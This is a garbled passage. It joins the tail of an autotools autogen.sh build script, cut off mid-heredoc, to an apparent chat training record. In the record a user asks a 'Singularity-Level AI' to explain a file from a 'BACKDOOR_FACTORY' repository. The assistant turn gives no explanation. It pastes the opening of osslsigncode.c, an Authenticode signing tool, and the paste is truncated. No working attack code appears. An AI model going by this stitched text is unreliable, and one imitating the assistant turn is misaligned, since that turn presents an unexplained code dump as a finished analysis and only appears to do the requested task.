`pwd`\"\n _det_config_subdirs=\"`grep AC_CONFIG_SUBDIRS $_configure | grep -v '.*#.*AC_CONFIG_SUBDIRS' | sed 's/^[ \t]*AC_CONFIG_SUBDIRS(\\(.*\\)).*/\\1/' | sed 's/.*\\[\\(.*\\)\\].*/\\1/'`\"\n CHECK_DIRS=\"\"\n for dir in $_det_config_subdirs ; do\n\tif test -d \"`pwd`/$dir\" ; then\n\t CHECK_DIRS=\"$CHECK_DIRS \\\"`pwd`/$dir\\\"\"\n\tfi\n done\n\n # process subdirs\n if [ ! \"x$CHECK_DIRS\" = \"x\" ] ; then\n\t$VERBOSE_ECHO \"Recursively scanning the following directories:\"\n\t$VERBOSE_ECHO \" $CHECK_DIRS\"\n\tfor dir in $CHECK_DIRS ; do\n\t $VERBOSE_ECHO \"Protecting files from automake in $dir\"\n\t cd \"$START_PATH\"\n\t eval \"cd $dir\"\n\n\t # recursively git 'r done\n\t recursive_protect\n\tdone\n fi\n} # end of recursive_protect\n\n\n#############################\n# RESTORE_CLOBBERED FUNCION #\n#############################\nrestore_clobbered ( ) {\n\n # The automake (and autoreconf by extension) -f/--force-missing\n # option may overwrite COPYING and INSTALL even if they do exist.\n # Here we restore the files if necessary.\n\n spacer=no\n\n for file in COPYING INSTALL ; do\n\tif test -f ${file}.$$.protect_from_automake.backup ; then\n\t if test -f ${file} ; then\n\t # compare entire content, restore if needed\n\t if test \"x`cat ${file}`\" != \"x`cat ${file}.$$.protect_from_automake.backup`\" ; then\n\t\tif test \"x$spacer\" = \"xno\" ; then\n\t\t $VERBOSE_ECHO\n\t\t spacer=yes\n\t\tfi\n\t\t# restore the backup\n\t\t$VERBOSE_ECHO \"Restoring ${file} from backup (automake -f likely clobbered it)\"\n\t\t$VERBOSE_ECHO \"rm -f ${file}\"\n\t\trm -f ${file}\n\t\t$VERBOSE_ECHO \"mv ${file}.$$.protect_from_automake.backup ${file}\"\n\t\tmv ${file}.$$.protect_from_automake.backup ${file}\n\t fi # check contents\n\t elif test -f ${file}.$$.protect_from_automake.backup ; then\n\t\t$VERBOSE_ECHO \"mv ${file}.$$.protect_from_automake.backup ${file}\"\n\t\tmv ${file}.$$.protect_from_automake.backup ${file}\n\t fi # -f ${file}\n\t\n\t # just in case\n\t $VERBOSE_ECHO \"rm -f ${file}.$$.protect_from_automake.backup\"\n\t rm -f ${file}.$$.protect_from_automake.backup\n\tfi # -f ${file}.$$.protect_from_automake.backup\n done\n\n CONFIGURE=\"`locate_configure_template`\"\n if [ \"x$CONFIGURE\" = \"x\" ] ; then\n\treturn\n fi\n\n _aux_dir=\"`grep AC_CONFIG_AUX_DIR $CONFIGURE | grep -v '.*#.*AC_CONFIG_AUX_DIR' | tail -${TAIL_N}1 | sed 's/^[ \t]*AC_CONFIG_AUX_DIR(\\(.*\\)).*/\\1/' | sed 's/.*\\[\\(.*\\)\\].*/\\1/'`\"\n if test ! -d \"$_aux_dir\" ; then\n\t_aux_dir=.\n fi\n\n for file in config.guess config.sub ltmain.sh ; do\n\tif test -f \"${_aux_dir}/${file}\" ; then\n\t $VERBOSE_ECHO \"rm -f \\\"${_aux_dir}/${file}.backup\\\"\"\n\t rm -f \"${_aux_dir}/${file}.backup\"\n\tfi\n done\n} # end of restore_clobbered\n\n\n##############################\n# RECURSIVE_RESTORE FUNCTION #\n##############################\nrecursive_restore ( ) {\n\n # restore COPYING and INSTALL from backup if they were clobbered\n # for each directory recursively.\n\n # git 'r undone\n restore_clobbered\n\n # find configure template\n _configure=\"`locate_configure_template`\"\n if [ \"x$_configure\" = \"x\" ] ; then\n\treturn\n fi\n\n # look for subdirs\n _det_config_subdirs=\"`grep AC_CONFIG_SUBDIRS $_configure | grep -v '.*#.*AC_CONFIG_SUBDIRS' | sed 's/^[ \t]*AC_CONFIG_SUBDIRS(\\(.*\\)).*/\\1/' | sed 's/.*\\[\\(.*\\)\\].*/\\1/'`\"\n CHECK_DIRS=\"\"\n for dir in $_det_config_subdirs ; do\n\tif test -d \"`pwd`/$dir\" ; then\n\t CHECK_DIRS=\"$CHECK_DIRS \\\"`pwd`/$dir\\\"\"\n\tfi\n done\n\n # process subdirs\n if [ ! \"x$CHECK_DIRS\" = \"x\" ] ; then\n\t$VERBOSE_ECHO \"Recursively scanning the following directories:\"\n\t$VERBOSE_ECHO \" $CHECK_DIRS\"\n\tfor dir in $CHECK_DIRS ; do\n\t $VERBOSE_ECHO \"Checking files for automake damage in $dir\"\n\t cd \"$START_PATH\"\n\t eval \"cd $dir\"\n\n\t # recursively git 'r undone\n\t recursive_restore\n\tdone\n fi\n} # end of recursive_restore\n\n\n#######################\n# INITIALIZE FUNCTION #\n#######################\ninitialize ( ) {\n\n # this routine performs a variety of directory-specific\n # initializations. some are sanity checks, some are preventive,\n # and some are necessary setup detection.\n #\n # this function sets:\n # CONFIGURE\n # SEARCH_DIRS\n # CONFIG_SUBDIRS\n\n ##################################\n # check for a configure template #\n ##################################\n CONFIGURE=\"`locate_configure_template`\"\n if [ \"x$CONFIGURE\" = \"x\" ] ; then\n\t$ECHO\n\t$ECHO \"A configure.ac or configure.in file could not be located implying\"\n\t$ECHO \"that the GNU Build System is at least not used in this directory. In\"\n\t$ECHO \"any case, there is nothing to do here without one of those files.\"\n\t$ECHO\n\t$ECHO \"ERROR: No configure.in or configure.ac file found in `pwd`\"\n\texit 1\n fi\n\n #####################\n # detect an aux dir #\n #####################\n _aux_dir=\"`grep AC_CONFIG_AUX_DIR $CONFIGURE | grep -v '.*#.*AC_CONFIG_AUX_DIR' | tail -${TAIL_N}1 | sed 's/^[ \t]*AC_CONFIG_AUX_DIR(\\(.*\\)).*/\\1/' | sed 's/.*\\[\\(.*\\)\\].*/\\1/'`\"\n if test ! -d \"$_aux_dir\" ; then\n\t_aux_dir=.\n else\n\t$VERBOSE_ECHO \"Detected auxillary directory: $_aux_dir\"\n fi\n\n ################################\n # detect a recursive configure #\n ################################\n CONFIG_SUBDIRS=\"\"\n _det_config_subdirs=\"`grep AC_CONFIG_SUBDIRS $CONFIGURE | grep -v '.*#.*AC_CONFIG_SUBDIRS' | sed 's/^[ \t]*AC_CONFIG_SUBDIRS(\\(.*\\)).*/\\1/' | sed 's/.*\\[\\(.*\\)\\].*/\\1/'`\"\n for dir in $_det_config_subdirs ; do\n\tif test -d \"`pwd`/$dir\" ; then\n\t $VERBOSE_ECHO \"Detected recursive configure directory: `pwd`/$dir\"\n\t CONFIG_SUBDIRS=\"$CONFIG_SUBDIRS `pwd`/$dir\"\n\tfi\n done\n\n ###########################################################\n # make sure certain required files exist for GNU projects #\n ###########################################################\n _marker_found=\"\"\n _marker_found_message_intro='Detected non-GNU marker \"'\n _marker_found_message_mid='\" in '\n for marker in foreign cygnus ; do\n\t_marker_found_message=${_marker_found_message_intro}${marker}${_marker_found_message_mid}\n\t_marker_found=\"`grep 'AM_INIT_AUTOMAKE.*'${marker} $CONFIGURE`\"\n\tif [ ! \"x$_marker_found\" = \"x\" ] ; then\n\t $VERBOSE_ECHO \"${_marker_found_message}`basename \\\"$CONFIGURE\\\"`\"\n\t break\n\tfi\n\tif test -f \"`dirname \\\"$CONFIGURE\\\"/Makefile.am`\" ; then\n\t _marker_found=\"`grep 'AUTOMAKE_OPTIONS.*'${marker} Makefile.am`\"\n\t if [ ! \"x$_marker_found\" = \"x\" ] ; then\n\t\t$VERBOSE_ECHO \"${_marker_found_message}Makefile.am\"\n\t\tbreak\n\t fi\n\tfi\n done\n if [ \"x${_marker_found}\" = \"x\" ] ; then\n\t_suggest_foreign=no\n\tfor file in AUTHORS COPYING ChangeLog INSTALL NEWS README ; do\n\t if [ ! -f $file ] ; then\n\t\t$VERBOSE_ECHO \"Touching ${file} since it does not exist\"\n\t\t_suggest_foreign=yes\n\t\ttouch $file\n\t fi\n\tdone\n\n\tif [ \"x${_suggest_foreign}\" = \"xyes\" ] ; then\n\t $ECHO\n\t $ECHO \"Warning: Several files expected of projects that conform to the GNU\"\n\t $ECHO \"coding standards were not found. The files were automatically added\"\n\t $ECHO \"for you since you do not have a 'foreign' declaration specified.\"\n\t $ECHO\n\t $ECHO \"Considered adding 'foreign' to AM_INIT_AUTOMAKE in `basename \\\"$CONFIGURE\\\"`\"\n\t if test -f \"`dirname \\\"$CONFIGURE\\\"/Makefile.am`\" ; then\n\t\t$ECHO \"or to AUTOMAKE_OPTIONS in your top-level Makefile.am file.\"\n\t fi\n\t $ECHO\n\tfi\n fi\n\n ##################################################\n # make sure certain generated files do not exist #\n ##################################################\n for file in config.guess config.sub ltmain.sh ; do\n\tif test -f \"${_aux_dir}/${file}\" ; then\n\t $VERBOSE_ECHO \"mv -f \\\"${_aux_dir}/${file}\\\" \\\"${_aux_dir}/${file}.backup\\\"\"\n\t mv -f \"${_aux_dir}/${file}\" \"${_aux_dir}/${file}.backup\"\n\tfi\n done\n\n ############################\n # search alternate m4 dirs #\n ############################\n SEARCH_DIRS=\"\"\n for dir in m4 ; do\n\tif [ -d $dir ] ; then\n\t $VERBOSE_ECHO \"Found extra aclocal search directory: $dir\"\n\t SEARCH_DIRS=\"$SEARCH_DIRS -I $dir\"\n\tfi\n done\n\n ######################################\n # remove any previous build products #\n ######################################\n if test -d autom4te.cache ; then\n\t$VERBOSE_ECHO \"Found an autom4te.cache directory, deleting it\"\n\t$VERBOSE_ECHO \"rm -rf autom4te.cache\"\n\trm -rf autom4te.cache\n fi\n# tcl/tk (and probably others) have a customized aclocal.m4, so can't delete it\n# if test -f aclocal.m4 ; then\n# \t$VERBOSE_ECHO \"Found an aclocal.m4 file, deleting it\"\n# \t$VERBOSE_ECHO \"rm -f aclocal.m4\"\n# \trm -f aclocal.m4\n# fi\n\n} # end of initialize()\n\n\n##############\n# initialize #\n##############\n\n# stash path\nSTART_PATH=\"`pwd`\"\n\n# Before running autoreconf or manual steps, some prep detection work\n# is necessary or useful. Only needs to occur once per directory, but\n# does need to traverse the entire subconfigure hierarchy to protect\n# files from being clobbered even by autoreconf.\nrecursive_protect\n\n# start from where we started\ncd \"$START_PATH\"\n\n# get ready to process\ninitialize\n\n\n#########################################\n# DOWNLOAD_GNULIB_CONFIG_GUESS FUNCTION #\n#########################################\n\n# TODO - should make sure wget/curl exist and/or work before trying to\n# use them.\n\ndownload_gnulib_config_guess () {\n # abuse gitweb to download gnulib's latest config.guess via HTTP\n config_guess_temp=\"config.guess.$$.download\"\n ret=1\n for __cmd in wget curl fetch ; do\n\t$VERBOSE_ECHO \"Checking for command ${__cmd}\"\n\t${__cmd} --version > /dev/null 2>&1\n\tret=$?\n\tif [ ! $ret = 0 ] ; then\n\t continue\n fi\n\n\t__cmd_version=`${__cmd} --version | head -n 1 | sed -e 's/^[^0-9]\\+//' -e 's/ .*//'`\n\t$VERBOSE_ECHO \"Found ${__cmd} ${__cmd_version}\"\n\n\topts=\"\"\n\tcase ${__cmd} in\n\t wget)\n\t\topts=\"-O\" \n\t\t;;\n\t curl)\n\t\topts=\"-o\"\n\t\t;;\n\t fetch)\n\t\topts=\"-t 5 -f\"\n\t\t;;\n\tesac\n\n\t$VERBOSE_ECHO \"Running $__cmd \\\"${CONFIG_GUESS_URL}\\\" $opts \\\"${config_guess_temp}\\\"\"\n\teval \"$__cmd \\\"${CONFIG_GUESS_URL}\\\" $opts \\\"${config_guess_temp}\\\"\" > /dev/null 2>&1\n\tif [ $? = 0 ] ; then\n\t mv -f \"${config_guess_temp}\" ${_aux_dir}/config.guess\n\t ret=0\n\t break\n\tfi\n done\n\n if [ ! $ret = 0 ] ; then\n\t$ECHO \"Warning: config.guess download failed from: $CONFIG_GUESS_URL\"\n\trm -f \"${config_guess_temp}\"\n fi\n}\n\n\n##############################\n# LIBTOOLIZE_NEEDED FUNCTION #\n##############################\nlibtoolize_needed () {\n ret=1 # means no, don't need libtoolize\n for feature in AC_PROG_LIBTOOL AM_PROG_LIBTOOL LT_INIT ; do\n\t$VERBOSE_ECHO \"Searching for $feature in $CONFIGURE\"\n\tfound=\"`grep \\\"^$feature.*\\\" $CONFIGURE`\"\n\tif [ ! \"x$found\" = \"x\" ] ; then\n\t ret=0 # means yes, need to run libtoolize\n\t break\n\tfi\n done\n return ${ret}\n}\n\n\n\n############################################\n# prepare build via autoreconf or manually #\n############################################\nreconfigure_manually=no\nif [ \"x$HAVE_AUTORECONF\" = \"xyes\" ] ; then\n $ECHO\n $ECHO $ECHO_N \"Automatically preparing build ... $ECHO_C\"\n\n $VERBOSE_ECHO \"$AUTORECONF $SEARCH_DIRS $AUTORECONF_OPTIONS\"\n autoreconf_output=\"`$AUTORECONF $SEARCH_DIRS $AUTORECONF_OPTIONS 2>&1`\"\n ret=$?\n $VERBOSE_ECHO \"$autoreconf_output\"\n\n if [ ! $ret = 0 ] ; then\n\tif [ \"x$HAVE_ALT_LIBTOOLIZE\" = \"xyes\" ] ; then\n\t if [ ! \"x`echo \\\"$autoreconf_output\\\" | grep libtoolize | grep \\\"No such file or directory\\\"`\" = \"x\" ] ; then\n\t\t$ECHO\n\t\t$ECHO \"Warning: autoreconf failed but due to what is usually a common libtool\"\n\t\t$ECHO \"misconfiguration issue. This problem is encountered on systems that\"\n\t\t$ECHO \"have installed libtoolize under a different name without providing a\"\n\t\t$ECHO \"symbolic link or without setting the LIBTOOLIZE environment variable.\"\n\t\t$ECHO\n\t\t$ECHO \"Restarting the preparation steps with LIBTOOLIZE set to $LIBTOOLIZE\"\n\n\t\texport LIBTOOLIZE\n\t\tRUN_RECURSIVE=no\n\t\texport RUN_RECURSIVE\n\t\tuntrap_abnormal\n\n\t\t$VERBOSE_ECHO sh $AUTOGEN_SH \"$1\" \"$2\" \"$3\" \"$4\" \"$5\" \"$6\" \"$7\" \"$8\" \"$9\"\n\t\tsh \"$AUTOGEN_SH\" \"$1\" \"$2\" \"$3\" \"$4\" \"$5\" \"$6\" \"$7\" \"$8\" \"$9\"\n\t\texit $?\n\t fi\n\tfi\n\n\t$ECHO \"Warning: $AUTORECONF failed\"\n\n\tif test -f ltmain.sh ; then\n\t $ECHO \"libtoolize being run by autoreconf is not creating ltmain.sh in the auxillary directory like it should\"\n\tfi\n\n\t$ECHO \"Attempting to run the preparation steps individually\"\n\treconfigure_manually=yes\n else\n\tif [ \"x$DOWNLOAD\" = \"xyes\" ] ; then\n\t if libtoolize_needed ; then\n\t\tdownload_gnulib_config_guess\n\t fi\n\tfi\n fi\nelse\n reconfigure_manually=yes\nfi\n\n\n############################\n# LIBTOOL_FAILURE FUNCTION #\n############################\nlibtool_failure ( ) {\n\n # libtool is rather error-prone in comparison to the other\n # autotools and this routine attempts to compensate for some\n # common failures. the output after a libtoolize failure is\n # parsed for an error related to AC_PROG_LIBTOOL and if found, we\n # attempt to inject a project-provided libtool.m4 file.\n\n _autoconf_output=\"$1\"\n\n if [ \"x$RUN_RECURSIVE\" = \"xno\" ] ; then\n\t# we already tried the libtool.m4, don't try again\n\treturn 1\n fi\n\n if test -f \"$LIBTOOL_M4\" ; then\n\tfound_libtool=\"`$ECHO $_autoconf_output | grep AC_PROG_LIBTOOL`\"\n\tif test ! \"x$found_libtool\" = \"x\" ; then\n\t if test -f acinclude.m4 ; then\n\t\trm -f acinclude.m4.$$.backup\n\t\t$VERBOSE_ECHO \"cat acinclude.m4 > acinclude.m4.$$.backup\"\n\t\tcat acinclude.m4 > acinclude.m4.$$.backup\n\t fi\n\t $VERBOSE_ECHO \"cat \\\"$LIBTOOL_M4\\\" >> acinclude.m4\"\n\t chmod u+w acinclude.m4\n\t cat \"$LIBTOOL_M4\" >> acinclude.m4\n\n\t # don't keep doing this\n\t RUN_RECURSIVE=no\n\t export RUN_RECURSIVE\n\t untrap_abnormal\n\n\t $ECHO\n\t $ECHO \"Restarting the preparation steps with libtool macros in acinclude.m4\"\n\t $VERBOSE_ECHO sh $AUTOGEN_SH \"$1\" \"$2\" \"$3\" \"$4\" \"$5\" \"$6\" \"$7\" \"$8\" \"$9\"\n\t sh \"$AUTOGEN_SH\" \"$1\" \"$2\" \"$3\" \"$4\" \"$5\" \"$6\" \"$7\" \"$8\" \"$9\"\n\t exit $?\n\tfi\n fi\n}\n\n\n###########################\n# MANUAL_AUTOGEN FUNCTION #\n###########################\nmanual_autogen ( ) {\n\n ##################################################\n # Manual preparation steps taken are as follows: #\n # aclocal [-I m4] #\n # libtoolize --automake -c -f #\n # aclocal [-I m4] #\n # autoconf -f #\n # autoheader #\n # automake -a -c -f #\n ##################################################\n\n ###########\n # aclocal #\n ###########\n $VERBOSE_ECHO \"$ACLOCAL $SEARCH_DIRS $ACLOCAL_OPTIONS\"\n aclocal_output=\"`$ACLOCAL $SEARCH_DIRS $ACLOCAL_OPTIONS 2>&1`\"\n ret=$?\n $VERBOSE_ECHO \"$aclocal_output\"\n if [ ! $ret = 0 ] ; then $ECHO \"ERROR: $ACLOCAL failed\" && exit 2 ; fi\n\n ##############\n # libtoolize #\n ##############\n if libtoolize_needed ; then\n\tif [ \"x$HAVE_LIBTOOLIZE\" = \"xyes\" ] ; then\n\t $VERBOSE_ECHO \"$LIBTOOLIZE $LIBTOOLIZE_OPTIONS\"\n\t libtoolize_output=\"`$LIBTOOLIZE $LIBTOOLIZE_OPTIONS 2>&1`\"\n\t ret=$?\n\t $VERBOSE_ECHO \"$libtoolize_output\"\n\n\t if [ ! $ret = 0 ] ; then $ECHO \"ERROR: $LIBTOOLIZE failed\" && exit 2 ; fi\n\telse\n\t if [ \"x$HAVE_ALT_LIBTOOLIZE\" = \"xyes\" ] ; then\n\t\t$VERBOSE_ECHO \"$LIBTOOLIZE $ALT_LIBTOOLIZE_OPTIONS\"\n\t\tlibtoolize_output=\"`$LIBTOOLIZE $ALT_LIBTOOLIZE_OPTIONS 2>&1`\"\n\t\tret=$?\n\t\t$VERBOSE_ECHO \"$libtoolize_output\"\n\n\t\tif [ ! $ret = 0 ] ; then $ECHO \"ERROR: $LIBTOOLIZE failed\" && exit 2 ; fi\n\t fi\n\tfi\n\n\t###########\n\t# aclocal #\n\t###########\n\t# re-run again as instructed by libtoolize\n\t$VERBOSE_ECHO \"$ACLOCAL $SEARCH_DIRS $ACLOCAL_OPTIONS\"\n\taclocal_output=\"`$ACLOCAL $SEARCH_DIRS $ACLOCAL_OPTIONS 2>&1`\"\n\tret=$?\n\t$VERBOSE_ECHO \"$aclocal_output\"\n\n\t# libtoolize might put ltmain.sh in the wrong place\n\tif test -f ltmain.sh ; then\n\t if test ! -f \"${_aux_dir}/ltmain.sh\" ; then\n\t\t$ECHO\n\t\t$ECHO \"Warning: $LIBTOOLIZE is creating ltmain.sh in the wrong directory\"\n\t\t$ECHO\n\t\t$ECHO \"Fortunately, the problem can be worked around by simply copying the\"\n\t\t$ECHO \"file to the appropriate location (${_aux_dir}/). This has been done for you.\"\n\t\t$ECHO\n\t\t$VERBOSE_ECHO \"cp -p ltmain.sh \\\"${_aux_dir}/ltmain.sh\\\"\"\n\t\tcp -p ltmain.sh \"${_aux_dir}/ltmain.sh\"\n\t\t$ECHO $ECHO_N \"Continuing build preparation ... $ECHO_C\"\n\t fi\n\tfi # ltmain.sh\n\n\tif [ \"x$DOWNLOAD\" = \"xyes\" ] ; then\n\t download_gnulib_config_guess\n\tfi\n fi # libtoolize_needed\n\n ############\n # autoconf #\n ############\n $VERBOSE_ECHO\n $VERBOSE_ECHO \"$AUTOCONF $AUTOCONF_OPTIONS\"\n autoconf_output=\"`$AUTOCONF $AUTOCONF_OPTIONS 2>&1`\"\n ret=$?\n $VERBOSE_ECHO \"$autoconf_output\"\n\n if [ ! $ret = 0 ] ; then\n\t# retry without the -f and check for usage of macros that are too new\n\tac2_59_macros=\"AC_C_RESTRICT AC_INCLUDES_DEFAULT AC_LANG_ASSERT AC_LANG_WERROR AS_SET_CATFILE\"\n\tac2_55_macros=\"AC_COMPILER_IFELSE AC_FUNC_MBRTOWC AC_HEADER_STDBOOL AC_LANG_CONFTEST AC_LANG_SOURCE AC_LANG_PROGRAM AC_LANG_CALL AC_LANG_FUNC_TRY_LINK AC_MSG_FAILURE AC_PREPROC_IFELSE\"\n\tac2_54_macros=\"AC_C_BACKSLASH_A AC_CONFIG_LIBOBJ_DIR AC_GNU_SOURCE AC_PROG_EGREP AC_PROG_FGREP AC_REPLACE_FNMATCH AC_FUNC_FNMATCH_GNU AC_FUNC_REALLOC AC_TYPE_MBSTATE_T\"\n\n\tmacros_to_search=\"\"\n\tac_major=\"`echo ${AUTOCONF_VERSION}. | cut -d. -f1 | sed 's/[^0-9]//g'`\"\n\tac_minor=\"`echo ${AUTOCONF_VERSION}. | cut -d. -f2 | sed 's/[^0-9]//g'`\"\n\n\tif [ $ac_major -lt 2 ] ; then\n\t macros_to_search=\"$ac2_59_macros $ac2_55_macros $ac2_54_macros\"\n\telse\n\t if [ $ac_minor -lt 54 ] ; then\n\t\tmacros_to_search=\"$ac2_59_macros $ac2_55_macros $ac2_54_macros\"\n\t elif [ $ac_minor -lt 55 ] ; then\n\t\tmacros_to_search=\"$ac2_59_macros $ac2_55_macros\"\n\t elif [ $ac_minor -lt 59 ] ; then\n\t\tmacros_to_search=\"$ac2_59_macros\"\n\t fi\n\tfi\n\n\tconfigure_ac_macros=__none__\n\tfor feature in $macros_to_search ; do\n\t $VERBOSE_ECHO \"Searching for $feature in $CONFIGURE\"\n\t found=\"`grep \\\"^$feature.*\\\" $CONFIGURE`\"\n\t if [ ! \"x$found\" = \"x\" ] ; then\n\t\tif [ \"x$configure_ac_macros\" = \"x__none__\" ] ; then\n\t\t configure_ac_macros=\"$feature\"\n\t\telse\n\t\t configure_ac_macros=\"$feature $configure_ac_macros\"\n\t\tfi\n\t fi\n\tdone\n\tif [ ! \"x$configure_ac_macros\" = \"x__none__\" ] ; then\n\t $ECHO\n\t $ECHO \"Warning: Unsupported macros were found in $CONFIGURE\"\n\t $ECHO\n\t $ECHO \"The `basename \\\"$CONFIGURE\\\"` file was scanned in order to determine if any\"\n\t $ECHO \"unsupported macros are used that exceed the minimum version\"\n\t $ECHO \"settings specified within this file. As such, the following macros\"\n\t $ECHO \"should be removed from configure.ac or the version numbers in this\"\n\t $ECHO \"file should be increased:\"\n\t $ECHO\n\t $ECHO \"$configure_ac_macros\"\n\t $ECHO\n\t $ECHO $ECHO_N \"Ignorantly continuing build preparation ... $ECHO_C\"\n\tfi\n\n\t###################\n\t# autoconf, retry #\n\t###################\n\t$VERBOSE_ECHO\n\t$VERBOSE_ECHO \"$AUTOCONF\"\n\tautoconf_output=\"`$AUTOCONF 2>&1`\"\n\tret=$?\n\t$VERBOSE_ECHO \"$autoconf_output\"\n\n\tif [ ! $ret = 0 ] ; then\n\t # test if libtool is busted\n\t libtool_failure \"$autoconf_output\"\n\n\t # let the user know what went wrong\n\t cat <&1`\"\n\tret=$?\n\t$VERBOSE_ECHO \"$autoheader_output\"\n\tif [ ! $ret = 0 ] ; then $ECHO \"ERROR: $AUTOHEADER failed\" && exit 2 ; fi\n fi # need_autoheader\n\n ############\n # automake #\n ############\n need_automake=no\n for feature in AM_INIT_AUTOMAKE ; do\n\t$VERBOSE_ECHO \"Searching for $feature in $CONFIGURE\"\n\tfound=\"`grep \\\"^$feature.*\\\" $CONFIGURE`\"\n\tif [ ! \"x$found\" = \"x\" ] ; then\n\t need_automake=yes\n\t break\n\tfi\n done\n\n if [ \"x$need_automake\" = \"xyes\" ] ; then\n\t$VERBOSE_ECHO \"$AUTOMAKE $AUTOMAKE_OPTIONS\"\n\tautomake_output=\"`$AUTOMAKE $AUTOMAKE_OPTIONS 2>&1`\"\n\tret=$?\n\t$VERBOSE_ECHO \"$automake_output\"\n\n\tif [ ! $ret = 0 ] ; then\n\n\t ###################\n\t # automake, retry #\n\t ###################\n\t $VERBOSE_ECHO\n\t $VERBOSE_ECHO \"$AUTOMAKE $ALT_AUTOMAKE_OPTIONS\"\n\t # retry without the -f\n\t automake_output=\"`$AUTOMAKE $ALT_AUTOMAKE_OPTIONS 2>&1`\"\n\t ret=$?\n\t $VERBOSE_ECHO \"$automake_output\"\n\n\t if [ ! $ret = 0 ] ; then\n\t \t# test if libtool is busted\n\t\tlibtool_failure \"$automake_output\"\n\n\t\t# let the user know what went wrong\n\t\tcat <"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: osslsigncode/osslsigncode.c\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n OpenSSL based Authenticode signing for PE/MSI/Java CAB files.\n\n\t Copyright (C) 2005-2015 Per Allansson \n\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n\n In addition, as a special exception, the copyright holders give\n permission to link the code of portions of this program with the\n OpenSSL library under certain conditions as described in each\n individual source file, and distribute linked combinations\n including the two.\n You must obey the GNU General Public License in all respects\n for all of the code used other than OpenSSL. If you modify\n file(s) with this exception, you may extend this exception to your\n version of the file(s), but you are not obligated to do so. If you\n do not wish to do so, delete this exception statement from your\n version. If you delete this exception statement from all source\n files in the program, then also delete it here.\n*/\n\nstatic const char *rcsid = \"$Id: osslsigncode.c,v 1.7.1 2014/07/11 14:14:14 mfive Exp $\";\n\n/*\n Implemented with good help from:\n\n * Peter Gutmann's analysis of Authenticode:\n\n\t http://www.cs.auckland.ac.nz/~pgut001/pubs/authenticode.txt\n\n * MS CAB SDK documentation\n\n\t http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncabsdk/html/cabdl.asp\n\n * MS PE/COFF documentation\n\n\t http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx\n\n * MS Windows Authenticode PE Signature Format\n\n\t http://msdn.microsoft.com/en-US/windows/hardware/gg463183\n\n\t (Although the part of how the actual checksumming is done is not\n\t how it is done inside Windows. The end result is however the same\n\t on all \"normal\" PE files.)\n\n * tail -c, tcpdump, mimencode & openssl asn1parse :)\n\n*/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#ifdef HAVE_WINDOWS_H\n#define NOCRYPT\n#define WIN32_LEAN_AND_MEAN\n#include \ntypedef unsigned char u_char;\n#endif\n\n#include \n#include \n#ifndef _WIN32\n#include \n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n\n#ifndef _WIN32\n#ifdef HAVE_SYS_MMAN_H\n#include \n#endif\n\n#ifdef HAVE_TERMIOS_H\n#include \n#endif\n#endif\n\n#ifdef WITH_GSF\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#endif\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifndef OPENSSL_NO_ENGINE\n#include \n#endif\n\n#ifdef ENABLE_CURL\n#ifdef __CYGWIN__\n#ifndef SOCKET\n#define SOCKET UINT_PTR\n#endif\n#endif\n#include \n\n#define MAX_TS_SERVERS 256\n\n#endif\n\n#ifndef FALSE\n#define FALSE 0\n#endif\n\n#ifndef TRUE\n#define TRUE 1\n#endif\n\n#if defined (HAVE_TERMIOS_H) || defined (HAVE_GETPASS)\n#define PROVIDE_ASKPASS 1\n#endif\n\n/* MS Authenticode object ids */\n#define SPC_INDIRECT_DATA_OBJID\t \"1.3.6.1.4.1.311.2.1.4\"\n#define SPC_STATEMENT_TYPE_OBJID \"1.3.6.1.4.1.311.2.1.11\"\n#define SPC_SP_OPUS_INFO_OBJID\t \"1.3.6.1.4.1.311.2.1.12\"\n#define SPC_INDIVIDUAL_SP_KEY_PURPOSE_OBJID \"1.3.6.1.4.1.311.2.1.21\"\n#define SPC_COMMERCIAL_SP_KEY_PURPOSE_OBJID \"1.3.6.1.4.1.311.2.1.22\"\n#define SPC_MS_JAVA_SOMETHING\t \"1.3.6.1.4.1.311.15.1\"\n#define SPC_PE_IMAGE_DATA_OBJID\t \"1.3.6.1.4.1.311.2.1.15\"\n#define SPC_CAB_DATA_OBJID\t\t \"1.3.6.1.4.1.311.2.1.25\"\n#define SPC_TIME_STAMP_REQUEST_OBJID \"1.3.6.1.4.1.311.3.2.1\"\n#define SPC_SIPINFO_OBJID\t\t \"1.3.6.1.4.1.311.2.1.30\"\n\n#define SPC_PE_IMAGE_PAGE_HASHES_V1 \"1.3.6.1.4.1.311.2.3.1\" /* Page hash using SHA1 */\n#define SPC_PE_IMAGE_PAGE_HASHES_V2 \"1.3.6.1.4.1.311.2.3.2\" /* Page hash using SHA256 */\n\n#define SPC_NESTED_SIGNATURE_OBJID \"1.3.6.1.4.1.311.2.4.1\"\n\n#define SPC_RFC3161_OBJID \"1.3.6.1.4.1.311.3.3.1\"\n\n/* 1.3.6.1.4.1.311.4... MS Crypto 2.0 stuff... */\n\n\n#define WIN_CERT_REVISION_2 0x0200\n#define WIN_CERT_TYPE_PKCS_SIGNED_DATA 0x0002\n\n\n/*\n ASN.1 definitions (more or less from official MS Authenticode docs)\n*/\n\ntypedef struct {\n\tint type;\n\tunion {\n\t\tASN1_BMPSTRING *unicode;\n\t\tASN1_IA5STRING *ascii;\n\t} value;\n} SpcString;\n\nDECLARE_ASN1_FUNCTIONS(SpcString)\n\nASN1_CHOICE(SpcString) = {\n\tASN1_IMP_OPT(SpcString, value.unicode, ASN1_BMPSTRING , 0),\n\tASN1_IMP_OPT(SpcString, value.ascii, ASN1_IA5STRING,\t1)\n} 